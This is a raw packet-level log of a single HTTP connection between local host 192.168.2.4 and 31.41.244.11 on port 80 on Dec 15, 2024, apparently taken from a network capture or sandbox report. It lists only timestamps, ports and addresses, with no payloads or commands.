Dec 15, 2024 11:59:12.823080063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.823126078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.823194027 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.823240995 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.824182034 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.824234009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.824328899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.824372053 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.825220108 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.825264931 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.825273991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.825319052 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.826239109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.826284885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.826354027 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.826397896 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.827341080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.827385902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.827464104 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.827511072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.828360081 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.828404903 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.828444958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.828489065 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.829318047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.829361916 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.829443932 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.829487085 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.830461025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.830507994 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.830615997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.830657959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.831435919 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.831480980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.831548929 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.831590891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.832516909 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.832576036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.832643032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.832684040 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.833554983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.833607912 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.833684921 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.833729982 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.834599972 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.834645033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.834718943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.834763050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.835696936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.835741043 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.835793018 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.835834980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.836708069 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.836752892 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.836853027 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.836901903 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.837811947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.837863922 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.837944031 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.837999105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.838778019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.838824987 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.838953972 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.838996887 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.839867115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.839912891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.839922905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.839970112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.840893030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.840938091 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.841006994 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.841048956 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.841984034 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.842029095 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.842078924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.842120886 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.842987061 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.843031883 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.843097925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.843139887 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.844027996 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.844074965 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.844155073 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.844201088 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.845084906 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.845129967 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.845211029 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.845252991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.846271992 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.846316099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.846327066 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.846371889 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.847279072 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.847326040 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.847351074 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.847394943 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.848323107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.848368883 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.848463058 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.848505974 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.849313974 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.849359035 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.849492073 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.849535942 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.850359917 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.850405931 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.850564003 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.850608110 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.851408958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.851458073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.851540089 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.851584911 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.852480888 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.852531910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.852538109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.852583885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.853506088 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.853554964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.853637934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.853686094 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.854563951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.854614019 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.854619980 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.854666948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.855591059 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.855639935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.855719090 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.855766058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.856683969 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.856733084 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.856775045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.856825113 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.857711077 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.857759953 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.857837915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.857888937 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.858742952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.858792067 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.858870029 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.858916998 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.859818935 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.859868050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.860100985 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.860148907 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.860846996 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.860894918 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.860945940 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.860992908 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.880620003 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.880640984 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.880651951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.880717039 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.880717039 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.880904913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.880958080 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.881764889 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.881828070 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.881834984 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.881889105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.882898092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.882949114 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.882956028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.883002996 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.883806944 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.883826017 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.883855104 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.883867025 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.884845972 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.884888887 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.884919882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.884963036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.885921955 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.885973930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.886059999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.886105061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.886977911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.887022018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.887178898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.887221098 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.887986898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.888031960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.888070107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.888111115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.889076948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.889121056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.889167070 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.889209032 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.890271902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.890320063 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.009372950 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.009406090 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.009459019 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.009502888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.009855986 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.009905100 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.009996891 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.010042906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.010879993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.010925055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.011020899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.011065960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.011965036 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.012011051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.012352943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.012396097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.012469053 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.012510061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.013334990 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.013381004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.013601065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.013648033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.014391899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.014444113 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.014512062 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.014559984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.015464067 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.015515089 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.015573978 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.015624046 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.016474962 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.016525984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.016633987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.016683102 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.017538071 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.017585993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.017652035 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.017699957 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.018635988 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.018686056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.018815041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.018861055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.019721985 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.019772053 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.019851923 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.019901037 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.020687103 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.020737886 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.020802021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.020855904 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.021776915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.021841049 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.021989107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.022042990 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.022773981 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.022829056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.022896051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.022947073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.023833990 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.023890972 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.023971081 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.024020910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.024877071 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.024933100 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.025002956 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.025057077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.025969028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.026005030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.026025057 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.026056051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.026967049 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.027023077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.027081966 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.027137041 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.028052092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.028109074 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.028177977 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.028232098 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.029088020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.029150009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.029208899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.029264927 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.030221939 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.030278921 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.030278921 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.030333042 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.031251907 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.031311989 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.031394958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.031449080 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.032202005 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.032259941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.032344103 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.032394886 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.033385992 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.033457994 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.033467054 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.033521891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.034311056 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.034380913 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.034427881 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.034486055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.035394907 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.035460949 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.035541058 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.035599947 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.036431074 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.036488056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.036544085 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.036592960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.037476063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.037539959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.037607908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.037658930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.038543940 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.038604021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.038605928 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.038655996 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.039587021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.039647102 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.039711952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.039761066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.040638924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.040693998 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.040695906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.040741920 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.041672945 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.041735888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.041809082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.041862965 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.042704105 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.042777061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.042856932 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.042913914 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.043859005 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.043920040 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.043956041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.044008017 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.044825077 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.044879913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.044886112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.044928074 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.045860052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.045918941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.046148062 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.046201944 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.046921015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.046973944 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.047120094 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.047173977 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.047996998 CET	80	49760	31.41.244.11	192.168.2.4
